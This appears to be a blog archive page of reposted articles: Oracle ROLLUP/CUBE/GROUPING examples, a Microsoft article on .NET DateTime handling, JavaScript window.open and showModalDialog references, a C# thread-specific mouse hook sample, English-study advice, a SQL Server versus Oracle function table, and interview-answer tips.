      从上面的例子我们不难看出使用rollup函数,系统的sql语句更加简单,耗用的资源更少,从6个consistent gets降到4个consistent gets,如果基表很大的话,结果就可想而知了.




      1. 使用cube函数的介绍




        Quote:
      为了介绍cube函数我们再来看看另外一个使用rollup的例子
      06:53:00 SQL> select area_code,bill_month,sum(local_fare) local_fare
      06:53:37   2  from t
      06:53:38   3  group by rollup(area_code,bill_month)
      06:53:49   4  /

      AREA_CODE  BILL_MONTH          LOCAL_FARE
      ---------- --------------- --------------
      5761       200405             13060433.89
      5761       200406             13318931.01
      5761       200407             13710265.93
      5761       200408             14135782.21
      5761                          54225413.04
      5762       200405             12643792.11
      5762       200406             12795060.65
      5762       200407             13224298.12
      5762       200408             13376468.72
      5762                          52039619.60
      5763       200405             16649778.91
      5763       200406             17120515.71
      5763       200407             17487493.32
      5763       200408             17928757.08
      5763                          69186545.02
      5764       200405             12487791.94
      5764       200406             13295187.67
      5764       200407             13444093.76
      5764       200408             13929695.09
      5764                          53156768.46
      5765       200405             25057737.47
      5765       200406             26058461.31
      5765       200407             26301881.40
      5765       200408             27130639.01
      5765                         104548719.19
                                   333157065.31

      26 rows selected.

      Elapsed: 00:00:00.00

      系统只是根据rollup的第一个参数area_code对结果集的数据做了汇总处理,而没有对bill_month做汇总分析处理,cube函数就是为了这个而设计的.
      下面,让我们看看使用cube函数的结果

      06:58:02 SQL> select area_code,bill_month,sum(local_fare) local_fare
      06:58:30   2  from t
      06:58:32   3  group by cube(area_code,bill_month)
      06:58:42   4  order by area_code,bill_month nulls last
      06:58:57   5  /

      AREA_CODE  BILL_MONTH          LOCAL_FARE
      ---------- --------------- --------------
      5761       200405                13060.43
      5761       200406                13318.93
      5761       200407                13710.27
      5761       200408                14135.78
      5761                             54225.41
      5762       200405                12643.79
      5762       200406                12795.06
      5762       200407                13224.30
      5762       200408                13376.47
      5762                             52039.62
      5763       200405                16649.78
      5763       200406                17120.52
      5763       200407                17487.49
      5763       200408                17928.76
      5763                             69186.54
      5764       200405                12487.79
      5764       200406                13295.19
      5764       200407                13444.09
      5764       200408                13929.69
      5764                             53156.77
      5765       200405                25057.74
      5765       200406                26058.46
      5765       200407                26301.88
      5765       200408                27130.64
      5765                            104548.72
                 200405                79899.53
                 200406                82588.15
                 200407                84168.03
                 200408                86501.34
                                      333157.05

      30 rows selected.

      Elapsed: 00:00:00.01

      可以看到,在cube函数的输出结果比使用rollup多出了几行统计数据.这就是cube函数根据bill_month做的汇总统计结果



      1 rollup 和 cube函数的再深入




        Quote:
      从上面的结果中我们很容易发现,每个统计数据所对应的行都会出现null,
      我们如何来区分到底是根据那个字段做的汇总呢,
      这时候,oracle的grouping函数就粉墨登场了.
      如果当前的汇总记录是利用该字段得出的,grouping函数就会返回1,否则返回0


        1  select decode(grouping(area_code),1,'all area',to_char(area_code)) area_code,
        2         decode(grouping(bill_month),1,'all month',bill_month) bill_month,
        3         sum(local_fare) local_fare
        4  from t
        5  group by cube(area_code,bill_month)
        6* order by area_code,bill_month nulls last
      07:07:29 SQL> /

      AREA_CODE  BILL_MONTH          LOCAL_FARE
      ---------- --------------- --------------
      5761       200405                13060.43
      5761       200406                13318.93
      5761       200407                13710.27
      5761       200408                14135.78
      5761       all month             54225.41
      5762       200405                12643.79
      5762       200406                12795.06
      5762       200407                13224.30
      5762       200408                13376.47
      5762       all month             52039.62
      5763       200405                16649.78
      5763       200406                17120.52
      5763       200407                17487.49
      5763       200408                17928.76
      5763       all month             69186.54
      5764       200405                12487.79
      5764       200406                13295.19
      5764       200407                13444.09
      5764       200408                13929.69
      5764       all month             53156.77
      5765       200405                25057.74
      5765       200406                26058.46
      5765       200407                26301.88
      5765       200408                27130.64
      5765       all month            104548.72
      all area   200405                79899.53
      all area   200406                82588.15
      all area   200407                84168.03
      all area   200408                86501.34
      all area   all month            333157.05

      30 rows selected.

      Elapsed: 00:00:00.01
      07:07:31 SQL>


      可以看到,所有的空值现在都根据grouping函数做出了很好的区分,这样利用rollup,cube和grouping函数,我们做数据统计的时候就可以轻松很多了.

      .NET DateTime coding best practices

      | 6 Comments


      .NET DateTime coding best practices


      Author:  Dan Rogers (danro), Microsoft Corporation


      January 9, 2004


      Synopsis


      Writing programs that store, perform calculations and serialize time values using the .NET DateTime type requires an awareness of the different issues associated with time representations available in the Windows and .NET platform.  This article focuses on key testing and development scenarios involving time, and defines the best practice recommendations for writing programs that use the DateTime type in .NET applications and assemblies.


      Background


      Many programmers encounter assignments that require them to accurately store and process data that containing date and time information.  On first glance, the CLR DateTime data type appears to be perfect for these tasks.  It isn’t uncommon, however, for programmers, but more likely testers to encounter cases where a program simply loses track of correct time values.  This article focuses on the testing issues associated with logic involving DateTime, and in doing so, uncovers best practices for writing programs that capture, store, retrieve and transmit DateTime information.


      What is a DateTime, anyway?


      When we look at the documentation found in the .NET Framework class library documentation, we see that “the CLR System.DateTime value type represents dates and times ranging from 12:00:00 midnight, January 1, 0001 AD to 11:59:59 PM, December 31 9999 AD.”  Reading further we learn, unsurprisingly, that a DateTime value represents an instant at a point in time, and that a common practice is to record point in time values in Coordinated Universal Time (UCT) – more commonly known as Greenwich Mean Time (GMT).


      At first glance, then, a programmer discovers that a DateTime type is pretty good at storing time values that are likely to be encountered in current-day programming problems such as business applications.  With this confidence, many an unsuspecting programmer begins coding, confident that they can learn as much as they need to about time as they go forward.  This “learn as you go” approach can get you into a few snags, so let’s start nailing them down.  They range from issues in the documentation to behaviors that need to be factored into your program designs.


      The V1.0 and 1.1 documentation for System.DateTime makes a few generalizations that can throw the unsuspecting programmer off track.  For instance, the docs currently still say that the methods and properties found on the DateTime class always use the assumption that the value represents the local machine local time zone when making calculations or comparisons.  This generalization turns out to be untrue because there are certain types of Date and Time calculations that assume GMT, and others that assume a local time zone view.   These areas are pointed out later in this article. 


      So, let’s get started by exploring the DateTime type by outlining a series of rules and best practices that can help you get your code functioning correctly the first time around.


      The Rules:



      1.      Calculations and comparisons of DateTime instances are only meaningful when the instances being compared or used are representations of points in time from the same time-zone perspective.


      2.      A developer is responsible for keeping track of time-zone information associated with a DateTime value via some external mechanism.  Typically this is accomplished by defining another field or variable that you use to record time-zone information when you store a DateTime value type.  This approach (storing the time-zone sense along side the DateTime value) is the most accurate and allows different developers at different points in a programs life-cycle to always have a clear understanding of the meaning of a DateTime value.  Another common approach is to make it a “rule” in your design that all time values are stored in a specific time-zone context.  This approach saves on the added storage required to save a users view of the time-zone context, but introduces the risk that a time value will be misinterpreted or stored incorrectly down the road by a developer that isn’t aware of the rule.


      3.      Performing date and time calculations on values that represent machine local time may not always yield the correct result.  When performing calculations on time values in time-zone contexts that practice daylight savings time, you should convert values to universal time representations before performing date arithmetic calculations.  For a specific list of operations and proper time-zone contexts, see the table in the section titled “Sorting out DateTime methods below.


      4.      A calculation on an instance of a DateTime value does not modify the value of the instance – thus a call to MyDateTime.ToLocalTime() does not modify the value of the instance of the DateTime.  The methods associated with the Date (VB) and DateTime (CLR) classes return new instances that represent the result of a calculation or operation.


      5.      When using .NET framework version 1.0 and 1.1, DO NOT send a DateTime value that represents UCT time thru System.XML.Serialization.  This goes for Date, Time and DateTime values.  For Web services, and other forms of serialization to XML involving System.DateTime, always make sure that the value in the DateTime value represents current machine local time.  The serializer will properly decode an XML Schema defined DateTime value that is encoded in GMT (offset value = 0), but it will decode it to the local machine time viewpoint.


      6.      In general, if you are dealing with absolute elapsed time, such as measuring a timeout, performing arithmetic, or doing comparisons of different DateTime values, you should try and use a Universal time value if possible so that you get the best possible accuracy without effects of time-zone and/or daylight savings having an impact.


      7.      When dealing with high level user facing concepts, such as scheduling, and can safely assume that each day has 24 hours from a user’s perspective, it may be ok to counter rule 6 by performing arithmetic, et cetera, on local times.


      Throughout this article, this simple list of rules serves as the basis for a set of best practices for writing and testing applications that process dates.


      By now, several of you are already looking through your code and saying “oh darn, it’s not doing what I expected it to do” – which is the purpose of this article.  For those of us that haven’t had an epiphany at reading this far, let’s take a look at the issues associated with processing DateTime values (from now on, I’ll just shorten this to dates) in .NET applications.


      Storage strategies


      According to the rules (above), calculations on date values is only meaningful when you understand the time-zone information associated with the date value you are processing.  This means that whether you are storing your value temporarily in a class member variable, or choose to save the values you have gathered into a database or file, the programmer is responsible for applying a strategy that allows the associated time-zone information to be understood at a later time.



       



      Coding Best Practice 1



      Store the time-zone information associated with a DateTime type in an adjunct variable.




       



      An alternative, but less reliable, strategy is to make a steadfast rule that your stored dates will always be converted to a particular time-zone, such as GMT, prior to storage.  This may seem sensible, and many teams can make it work.  However, the lack of an overt signal that says that a particular DateTime column in a table in a database is in a specific time zone invariably leads to mistakes in interpretation in later iterations of a project.


      A common strategy see in an informal survey of different .NET applications is the desire to always have dates represented in universal (GMT) time.  I say “desire” because this is not always practical.  A case in point arises when serializing a class that has a DateTime member variable via a web service.   The reason is that a DateTime value type maps to a XSD:DateTime type (as one would expect) – and the XSD type accommodates representing points in time in any time zone.  We’ll discuss the XML case later.  More interestingly, a good percentage of these projects weren’t actually achieving their goal, and were storing the date information in the server time-zone without realizing it.


      In these cases, an interesting fact is that the testers weren’t seeing time conversion issues, so nobody had noticed that the code that was supposed to convert the local date information to UCT time was failing.   In these specific cases, the data was later serialized via XML and was converted properly because the date information was in machine local time to start with.


      Let’s look at some code that doesn’t work:



       



      Dim d As DateTime


      d = DateTime.Parse("Dec 03, 2003 12:00:00 PM") 'date assignment



      d.ToUniversalTime()



       



      The program then takes the value in variable d and saves it to a database – expecting the stored value to represent a UCT view of time.  This example recognizes that the Parse method render the result in local time unless some non-default culture is used as an optional argument to the Parse family of methods.


      The code above actually fails to convert the value in the DateTime variable d to universal time in the third line because as written, the sample violates rule # 4 (the methods on the DateTime class do not convert the underlying value).  Note, that this code was seen in an actual application that had been tested. 


      How did it pass? The applications involved were able to successfully compare the stored dates because during testing, all of the data was coming from machines set to the same time-zone – so rule #1 was satisfied (dates being compared and calculated all are localized to the same time-zone point of view).  The bug in this code is the kind that is hard to spot – a statement that executes but that doesn’t do anything (hint: the last statement in the example is a no-op as written.)



       



      Testing Best Practice 1



      Check to see that stored values represent the point in time value that you intend in the time-zone you intend.




       



      Fixing the code sample is easy:



       



      Dim d As DateTime


      d = DateTime.Parse("Dec 03, 2003 12:00:00 PM").ToUniversalTime()



       



      Since the calculation methods associated with the DateTime value type never impact the underlying value, but instead return the result of the calculation, a program must remember to store the converted value (if this is desired, of course).  In the next section, we’ll examine how even this seemingly proper calculation can fail to achieve the expected results in certain circumstances involving daylight savings time.


      Performing calculations


      On first glance, the calculation functions that come with the System.DateTime class are really useful.  Support is provided for adding intervals to time values, performing arithmetic on time values, and even converting .NET time values to the corresponding value-type appropriate for Win32 API calls as well as OLE Automation calls.  A look at the support methods that surround the DateTime type evokes a nostalgic look back at the different ways that DOS and Windows have evolved for dealing with time and timestamps over the years.


      The fact that all of these components are still present in various parts of the OS is related to the backwards compatibility requirements that Microsoft has taken on.  To a programmer, this means that if you are moving data representing timestamps on files, directories, or doing COM/OLE interop involving date and DateTime values, you’ll have to become proficient at dealing with conversions between the different generations of time that are present in Windows.


      Don’t get fooled again


      Let’s suppose you have adopted the “we store everything in UCT time” strategy – presumably to avoid the overhead of having to store a time-zone offset (and perhaps as well a user-eyed view of time-zone such as Pacific Standard Time, or PST).  There are several advantages to performing calculations using UCT time.  Chief among them is the fact that when represented in universal time, every day has a fixed length, and there are no time-zone offsets to deal with.


      If you were surprised reading that a day can have different lengths, be aware that in any time-zone that allows for daylight savings time, on two days of the year (typically) days have a different length.  So even if you are using a local time value, such as Pacific Standard Time (PST), if you try and add a span of time to a specific DateTime instance value, you may not get the result you thought you should if interval being added takes you past the change-over time on a date that daylight savings time either starts or ends. 


      Let’s look at an example of code that doesn’t work in the Pacific Time zone in the United States:



       



      Dim d As DateTime


      d = DateTime.Parse("Oct 26, 2003 12:00:00 AM") 'date assignment



      d = d.AddHours(3.0)


      ' - displays 10/26/2003 03:00:00 AM – an ERROR!


      MsgBox(d.ToString)



       



      The result that is displayed from this calculation may seem correct on first glance; however, on October 26, 2003, one minute after PST, the daylight savings time change took effect.  The correct answer should have been 10/26/2003, 02:00:00 AM, so this calculation based on a local time value failed to yield the correct result.  But if we look back at Rule # 3, we seem to have a contradiction – but it isn’t.  Let’s just call it a special case for using the Add/Subtract methods in time-zones that celebrate daylight savings time.



       



      Coding Best Practice 2



      Be careful if you need to perform DateTime calculations (add/subtract) on values that represent time-zones that practice daylight savings time.  Unexpected calculation errors can result.  Instead, convert the local time value to universal time, perform the calculation, and convert back to achieve maximum accuracy.




       



      Fixing this broken code is straight forward:



       



      Dim d As DateTime


      d = DateTime.Parse("Oct 26, 2003 12:00:00 AM") 'date assignment



      d = d.ToUniversalTime().AddHours(3.0).ToLocalTime()


      ' - displays 10/26/2003 02:00:00 AM – Correct!


      MsgBox(d.ToString)


       



      The easiest way to reliably add spans of time reliably is to convert local time based values to universal time, perform the calculation, and then convert the value back.

       

      一、window.open()支持环境: JavaScript1.0+/JScript1.0+/Nav2+/IE3+/Opera3+


      二、基本语法:
      window.open(pageURL,name,parameters) 
      其中:
      pageURL 为子窗口路径 
      name 为子窗口句柄 
      parameters 为窗口参数(各参数用逗号分隔) 


      三、示例:
      <SCRIPT> 
      <!-- 
      window.open ('page.html','newwindow','height=100,width=400,top=0,left=0,toolbar=no,menubar=no,scrollbars=no, resizable=no,location=no, status=no') 
      //写成一行 
      --> 
      </SCRIPT>
      脚本运行后,page.html将在新窗体newwindow中打开,宽为100,高为400,距屏顶0象素,屏左0象素,无工具条,无菜单条,无滚动条,不可调整大小,无地址栏,无状态栏。
      请对照。

      上例中涉及的为常用的几个参数,除此以外还有很多其他参数,请见四。


      四、各项参数
      其中yes/no也可使用1/0;pixel value为具体的数值,单位象素。

      参数 | 取值范围 | 说明 
      | | 
      alwaysLowered | yes/no | 指定窗口隐藏在所有窗口之后 
      alwaysRaised | yes/no | 指定窗口悬浮在所有窗口之上 
      depended | yes/no | 是否和父窗口同时关闭 
      directories | yes/no | Nav2和3的目录栏是否可见 
      height | pixel value | 窗口高度 
      hotkeys | yes/no | 在没菜单栏的窗口中设安全退出热键 
      innerHeight | pixel value | 窗口中文档的像素高度 
      innerWidth | pixel value | 窗口中文档的像素宽度 
      location | yes/no | 位置栏是否可见 
      menubar | yes/no | 菜单栏是否可见 
      outerHeight | pixel value | 设定窗口(包括装饰边框)的像素高度 
      outerWidth | pixel value | 设定窗口(包括装饰边框)的像素宽度 
      resizable | yes/no | 窗口大小是否可调整 
      screenX | pixel value | 窗口距屏幕左边界的像素长度 
      screenY | pixel value | 窗口距屏幕上边界的像素长度 
      scrollbars | yes/no | 窗口是否可有滚动栏 
      titlebar | yes/no | 窗口题目栏是否可见 
      toolbar | yes/no | 窗口工具栏是否可见 
      Width | pixel value | 窗口的像素宽度 
      z-look | yes/no | 窗口被激活后是否浮在其它窗口之上

      window.showModalDialog使用手册

       


      基本介绍:
      showModalDialog() (IE 4+ 支持)
      showModelessDialog() (IE 5+ 支持)
      window.showModalDialog()方法用来创建一个显示HTML内容的模态对话框。
      window.showModelessDialog()方法用来创建一个显示HTML内容的非模态对话框。

      使用方法:
      vReturnValue = window.showModalDialog(sURL [, vArguments] [,sFeatures])
      vReturnValue = window.showModelessDialog(sURL [, vArguments] [,sFeatures])

      参数说明:
      sURL--
      必选参数,类型:字符串。用来指定对话框要显示的文档的URL。
      vArguments--
      可选参数,类型:变体。用来向对话框传递参数。传递的参数类型不限,包括数组等。对话框通过window.dialogArguments来取得传递进来的参数。
      sFeatures--
      可选参数,类型:字符串。用来描述对话框的外观等信息,可以使用以下的一个或几个,用分号“;”隔开。
      1.dialogHeight :对话框高度,不小于100px,IE4中dialogHeight 和 dialogWidth 默认的单位是em,而IE5中是px,为方便其见,在定义modal方式的对话框时,用px做单位。
      2.dialogWidth: 对话框宽度。
      3.dialogLeft: 离屏幕左的距离。
      4.dialogTop: 离屏幕上的距离。
      5.center: {yes | no | 1 | 0 }:窗口是否居中,默认yes,但仍可以指定高度和宽度。
      6.help: {yes | no | 1 | 0 }:是否显示帮助按钮,默认yes。
      7.resizable: {yes | no | 1 | 0 } [IE5+]:是否可被改变大小。默认no。
      8.status: {yes | no | 1 | 0 } [IE5+]:是否显示状态栏。默认为yes[ Modeless]或no[Modal]。
      9.scroll:{ yes | no | 1 | 0 | on | off }:指明对话框是否显示滚动条。默认为yes。
      下面几个属性是用在HTA中的,在一般的网页中一般不使用。
      10.dialogHide:{ yes | no | 1 | 0 | on | off }:在打印或者打印预览时对话框是否隐藏。默认为no。
      11.edge:{ sunken | raised }:指明对话框的边框样式。默认为raised。
      12.unadorned:{ yes | no | 1 | 0 | on | off }:默认为no。

      参数传递:
      1.要想对话框传递参数,是通过vArguments来进行传递的。类型不限制,对于字符串类型,最大为4096个字符。也可以传递对象,例如:
      -------------------------------
      parent.htm
      <script>
      var obj = new Object();
      obj.name="51js";
      window.showModalDialog("modal.htm",obj,"dialogWidth=200px;dialogHeight=100px");
      </script>
      modal.htm
      <script>
      var obj = window.dialogArguments
      alert("您传递的参数为:" + obj.name)
      </script>
      -------------------------------
      2.可以通过window.returnValue向打开对话框的窗口返回信息,当然也可以是对象。例如:
      ------------------------------
      parent.htm
      <script>
      str =window.showModalDialog("modal.htm",,"dialogWidth=200px;dialogHeight=100px");
      alert(str);
      </script>
      modal.htm
      <script>
      window.returnValue="http://www.51js.com";
      </script>



      本文引用通告地址: http://blog.csdn.net/ayine/services/trackbacks/86589.aspx


      来自:http://blog.csdn.net/ayine/archive/2004/08/27/86589.aspx



      SUMMARY
            This article describes how to set a hook that is specific to a thread and
            to a hook procedure by using the mouse hook as an example. You can use
            hooks to monitor certain types of events. You can associate these events
            with a specific thread or with all of the threads in the same desktop as a
            calling thread.


      Set a Mouse Hook
            To set a hook, call the SetWindowsHookEx function from the User32.dll
            file. This function installs an application-defined hook procedure in the
            hook chain that is associated with the hook.


            To set a mouse hook and to monitor the mouse events, follow these steps:
                  1.Start Microsoft Visual Studio .NET.

                  2.On the File menu, point to New, and then click Project.

                  3.In the New Project dialog box, click Visual C# Projects under
                  Project Types, and then click Windows Application under Templates.
                  In the Name box, type ThreadSpecificMouseHook. Form1 is added to the
                  project by default.

                  4.Add the following line of code in the Form1.cs file after the
                  other using statements:using System.Runtime.InteropServices;
           
                  5.Add following code in the Form1 class:


      public delegate int HookProc(int nCode, IntPtr wParam, IntPtr lParam);


      //Declare global form handler
      static IntPtr handler;


      //Declare hook handle as int.
      static int hHook = 0;


      //Declare mouse hook constant.
      //For other hook types, you can obtain these values from Winuser.h in Microsoft SDK.
      public const int WH_MOUSE = 7;
      private System.Windows.Forms.Button button1;


      //Declare MouseHookProcedure as HookProc type.
      HookProc MouseHookProcedure;


      //Declare wrapper managed POINT class.
      [StructLayout(LayoutKind.Sequential)]
      public class POINT
      {
       public int x;
       public int y;
      }


      //Declare wrapper managed MouseHookStruct class.
      [StructLayout(LayoutKind.Sequential)]
      public class MouseHookStruct
      {
       public POINT pt;
       public int hwnd;
       public int wHitTestCode;
       public int dwExtraInfo;
      }


      //Import for SetWindowsHookEx function.
      //Use this function to install thread-specific hook.
      [DllImport("user32.dll",CharSet=CharSet.Auto,
       CallingConvention=CallingConvention.StdCall)]
      public static extern int SetWindowsHookEx(int idHook, HookProc lpfn,
      IntPtr hInstance, int threadId);


      //Import for UnhookWindowsHookEx.
      //Call this function to uninstall the hook.
      [DllImport("user32.dll",CharSet=CharSet.Auto,
       CallingConvention=CallingConvention.StdCall)]
      public static extern bool UnhookWindowsHookEx(int idHook);


      //Import for CallNextHookEx.
      //Use this function to pass the hook information to next hook procedure in chain.
      [DllImport("user32.dll",CharSet=CharSet.Auto,
       CallingConvention=CallingConvention.StdCall)]
      public static extern int CallNextHookEx(int idHook, int nCode,
      IntPtr wParam, IntPtr lParam);
           
                  6.Add a Button control to the form, and then add the following code
                  in the Button1_click procedure:


      private void button1_Click(object sender, System.EventArgs e)
      {
       handler=(IntPtr)this.Handle.ToInt64();
       if(hHook == 0)
       {
               // Create an instance of HookProc.
        MouseHookProcedure = new HookProc(Form1.MouseHookProc);


        hHook = SetWindowsHookEx(WH_MOUSE,
           MouseHookProcedure,
           (IntPtr)0,
           AppDomain.GetCurrentThreadId());
        //If SetWindowsHookEx fails.
        if(hHook == 0 )
        {
         MessageBox.Show("SetWindowsHookEx Failed");
         return;
        }
        button1.Text = "UnHook Windows Hook";
       }
       else
       {
        bool ret = UnhookWindowsHookEx(hHook);
        //If UnhookWindowsHookEx fails.
        if(ret == false )
        {
         MessageBox.Show("UnhookWindowsHookEx Failed");
         return;
        }
        hHook = 0;
        button1.Text = "Set Windows Hook";
        this.Text = "Mouse Hook";
       }
      }
           
                  7.Add the following code for the MouseHookProc function in the Form1
                  class:


      public static int MouseHookProc(int nCode, IntPtr wParam, IntPtr lParam)
      {
       //Marshall the data from callback.
       MouseHookStruct MyMouseHookStruct = (MouseHookStruct) Marshal.PtrToStructure(lParam, typeof(MouseHookStruct));


       if (nCode < 0)
       {
        return CallNextHookEx(hHook, nCode, wParam, lParam);
       }
       else
       {
        //Create a string variable with shows current mouse. coordinates
        String strCaption = "x = " +
          MyMouseHookStruct.pt.x.ToString("d") +
           "  y = " +
        MyMouseHookStruct.pt.y.ToString("d");
        //Need to get the active form because it is a static function.
        Form tempForm = Control.FromHandle(handler) as Form


        //Set the caption of the form.
        tempForm.Text = strCaption;
        return CallNextHookEx(hHook, nCode, wParam, lParam);
       }
      }
           
                  8.Press F5 to run the project, and then click the button on the form
                  to set the hook. The mouse coordinates appear on the form caption
                  bar when the pointer moves on the form. Click the button again to
                  remove the hook.


            Global Hook Is Not Supported in .NET Framework
            You cannot implement global hooks in Microsoft .NET Framework. To install
            a global hook, a hook must have a native dynamic-link library (DLL) export
            to inject itself in another process that requires a valid, consistent
            function to call into. This requires a DLL export, which .NET Framework
            does not support. Managed code has no concept of a consistent value for a
            function pointer because these function pointers are proxies that are
            built dynamically.


            REFERENCES
            For more information about windows hooks, see the following MSDN
            documentation:
            About Hooks
            http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/hooks_9rg3.asp
            (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/hooks_9rg3.asp)

      [转载]Here is the help!

      i like to share my understanding with you about learning english. no matter which skill you want to emphasize, there is only one way to achieve that.  this is what i call to know and to practice.

      1. to know what?

      A. knowing reading is the first step if one wants to improve his/her english. the correct way to enhance our english 4 skills starts from reading. in this case, “READ RIGHT” is a very important goal.

      for instances, when first time encountering a word, phrase, or sentence, try to spell and read them correctly. many people keep making mistakes on the same issue because they have their mind set from the beginning. and it is very hard to change later, such as wrong pronunciations, incorrect usages, etc...   so when you learn a new word, try your best to spell it out loud and carefully pronounce it. If you are not sure about the pronunciation, go check or ask it.

      B. when practicing reading skills, there are three groups of objects to approach:
      a. the meaningful paragraphs:  these are too large to be easily handled.
      b. sentences:
      c. and words: from our experience we all know reciting vocabularies alone is not going to help us. i have seen so many people reciting vocabularies and when it comes to time of using them, they know a little.

      thus, knowing sentence level reading skill practice is the stage where we start from.  for the past 27 years of teaching, i have developed a way to do this. and i call it "sentence structure analysis."  this is not new to english learners.  based on the sentence you have, try to break it down to different parts of speech, such as subject nouns, verbs, and object nouns, adjectives, adverbs.  analyze about 10 sentences a day. by analyzing the sentence structure correctly, one can improve his/her reading skill within one month even s/he does not necessarily know the meaning of all words in a sentence.  also through this practice, you learn the usages of words or phrases.

      C. after this practice, then what?

      during the time of practicing "READ RIGHT," one can also apply the usages and knowledge learnt from reading in writing.  start to write simple sentences with subject + verb + object.  write nothing more other than those three. complicated sentence writing will not necessarily bring you to high level of writing skill.  write short but right is our emphasis.

      Know that you can write right based on the skills and technologies learnt from read right.

      D. then what?

      a. do your best to turn on english programs from tv, radio, or any other device which will make you a simulated english environment.  it is not necessary for you to understand all contents coming from that program at this stage.  by doing this, you are getting your ears familiar with the wave and tone of english expressions.  thus, english music is not as good as cartoons, news broadcastings, soap operas, etc.  the only requirement is the correct english pronunciation for those you are listening.  let it play as long as you can even if you are not paying attention to it.

      b. the second stage of listening skill practice combines the skills of reading and listening by recording and playing what you are reading.  if there are tapes or cds to go with the materials you are reading, play them before, while, and after you do all careful analysis on what you are reading.  if there is no tape or cd, just read and record slowly your own.  you can record from those with better pronunciations and those who are willing to help you.  read slowly but clearly.  Please play them even you are about to go to sleep.  "let it play from time to time" is the key.  continuing playing and listening to meaningful materials will be a way to help your skills of listening and speaking.  remember, at this stage, you will do your best to understand all what you are listening.

      2. to practice

      there is no short cut in english skills improving.  practice is the only way.  but please practice correctly.  otherwise, you are wasting your time and/or others.  if you just keep talking nonsense and this will not help at all.  there are only two inputs in these 4 skills, listening and reading.  one has to have meaningful inputs in order for her/him to have meaningful outputs.  remember, one has to read and listen to meaningful sentences then these will help her/his writing and speaking skills later.

      to practice those i mentioned above takes very short time.  do sentence structure analysis with simple and short sentences in the beginning.  after doing a few times, your confidence will be built up.  then go pick up any sentence or more from any magazine or article, even writings with non- understandable subjects, or those in weird fields with difficult vocabularies, and do the analysis accordingly.

      once you get to know this very well, you can start write things according to the same principle.  and add more and more words, phrases, or clauses to the sentences you are writing.  then, your writing skill is improved.

      remember: DON'T GIVE UP.  find one or two friends to do this together. have fun.  this practice costs you nothing.  i see so many people complainning about the cost of those english teaching programs.

      will you please stop saying my english is not good and do nothing to help.  from what I said above, it takes less time but gain the highest benefit if you just do it.  this is the way to reach the goal of improving your 4 skills in english. to know and to practice! again, try mine and through which, you gain the most in the shortest time. trust me, friends. all my students and student teachers who practice and/or teach this find it beneficial.  many get high scores in toefl and other english tests within a very short time.

      REMEMBER: the sequence is reading, writing, listening, then speaking.  don't waste your time and money finding short cuts other than this.  all materials are good as long as you use it right.  these are my sincerest advices.

      SQLServer 和 Oracle 常用函数对比

      | 2 Comments

      SQLServer和Oracle是大家经常用到的数据库,在此感谢作者总结出这些常用函数以供大家参考。

      数学函数:
        1.绝对值
        S:select abs(-1) value
        O:select abs(-1) value from dual

        2.取整(大)
        S:select ceiling(-1.001) value
        O:select ceil(-1.001) value from dual

        3.取整(小)
        S:select floor(-1.001) value
        O:select floor(-1.001) value from dual

        4.取整(截取)
        S:select cast(-1.002 as int) value
        O:select trunc(-1.002) value from dual

        5.四舍五入
        S:select round(1.23456,4) value 1.23460
        O:select round(1.23456,4) value from dual 1.2346

        6.e为底的幂
        S:select Exp(1) value 2.7182818284590451
        O:select Exp(1) value from dual 2.71828182

        7.取e为底的对数
        S:select log(2.7182818284590451) value 1
        O:select ln(2.7182818284590451) value from dual; 1

        8.取10为底对数
        S:select log10(10) value 1
        O:select log(10,10) value from dual; 1

        9.取平方
        S:select SQUARE(4) value 16
        O:select power(4,2) value from dual 16

        10.取平方根
        S:select SQRT(4) value 2
        O:select SQRT(4) value from dual 2

        11.求任意数为底的幂
        S:select power(3,4) value 81
        O:select power(3,4) value from dual 81

        12.取随机数
        S:select rand() value
        O:select sys.dbms_random.value(0,1) value from dual;

        13.取符号
        S:select sign(-8) value -1
        O:select sign(-8) value from dual -1

        14.圆周率
        S:SELECT PI() value 3.1415926535897931
        O:不知道

        15.sin,cos,tan 参数都以弧度为单位
        例如:select sin(PI()/2) value 得到1(SQLServer)

        16.Asin,Acos,Atan,Atan2 返回弧度

        17.弧度角度互换(SQLServer,Oracle不知道)
        DEGREES:弧度-〉角度
        RADIANS:角度-〉弧度

      世界五百强面试题目及应答评点

      | 2 Comments

      问题1
        
         你为什么觉得自己能够在这个职位上取得成就?
        
         分析 这是一个相当宽泛的问题,它给求职者提供了一个机会,可以让求职者表明自己的热情和挑战欲。对这个问题的回答将为面试人在判断求职者是否对这个职位有足够的动力和自信心方面提供关键信息。
        
         错误回答 我不知道。我擅长做很多事情。如果我能得到并且决定接受这份工作,我确信自己可以把它做得相当好,因为我过去一直都很成功。
        
         评论 尽管表面上听起来这种回答可以接受,但是它在几个方面都有欠缺。首先,这种语言很无力。像“擅长做很多事情”以及“相当好”之类的话,都无法反映你的进取心,而如果不能表现出足够的进取心,你就很难进入最好的企业。另外,将过去做过的所有事情同这个职位联系起来,这意味着求职者对这一特定职位没有足够的成就欲望和真正的热情。
        
         正确回答 从我的经历来看,这是我的职业生涯中最适合我的一份工作。几年来,我一直在研究这个领域并且关注贵公司,一直希望能有这样的面试机会。我拥有必备的技能(简单讲述一个故事来加以说明),我非常适合这一职位,也确实能做好这份工作。
        
         评论这是一个很有说服力的回答,因为它可以告诉面试人,这个求职者拥有足够的技能和知识来完成这项工作。他所讲的故事表明了求职者的技能,也验证了他最初的陈述。最后,求职者表示了“做好这份工作”的愿望,这证明了他具备对这份工作的热情和进取心。
        
         问题2
        
         你最大的长处和弱点分别是什么?这些长处和弱点对你在企业的业绩会有什么样的影响?
        
         分析 这个问题的最大陷阱在于,第一个问题实际上是两个问题,而且还要加上一个后续问题。这两个问题的陷阱并不在于你是否能认真地看待自己的长处,也不在于你是否能正确认识自己的弱点。记住,你的回答不仅是向面试人说明你的优势和劣势,也能在总体上表现你的价值观和对自身价值的看法。
        
         错误回答 从长处来说,我实在找不出什么突出的方面,我认为我的技能是非常广泛的。至于弱点,我想,如果某个项目时间拖得太久,我可能会感到厌倦。
        
         评论这种回答的最大问题在于,求职者实际上是拒绝回答问题的第一部分。对第二部分的回答暗示了求职者可能缺乏热情。另外,基于对这一问题前两个部分的回答,求职者对后面的问题很难再做出令人满意的回答。
        
         正确回答 从长处来说,我相信我最大的优点是我有一个高度理性的头脑,能够从混乱中整理出头绪来。我最大的弱点是,对那些没有秩序感的人,可能缺乏足够的耐心。我相信我的组织才能可以帮助企业更快地实现目标,而且有时候,我处理复杂问题的能力也能影响我的同事。
        
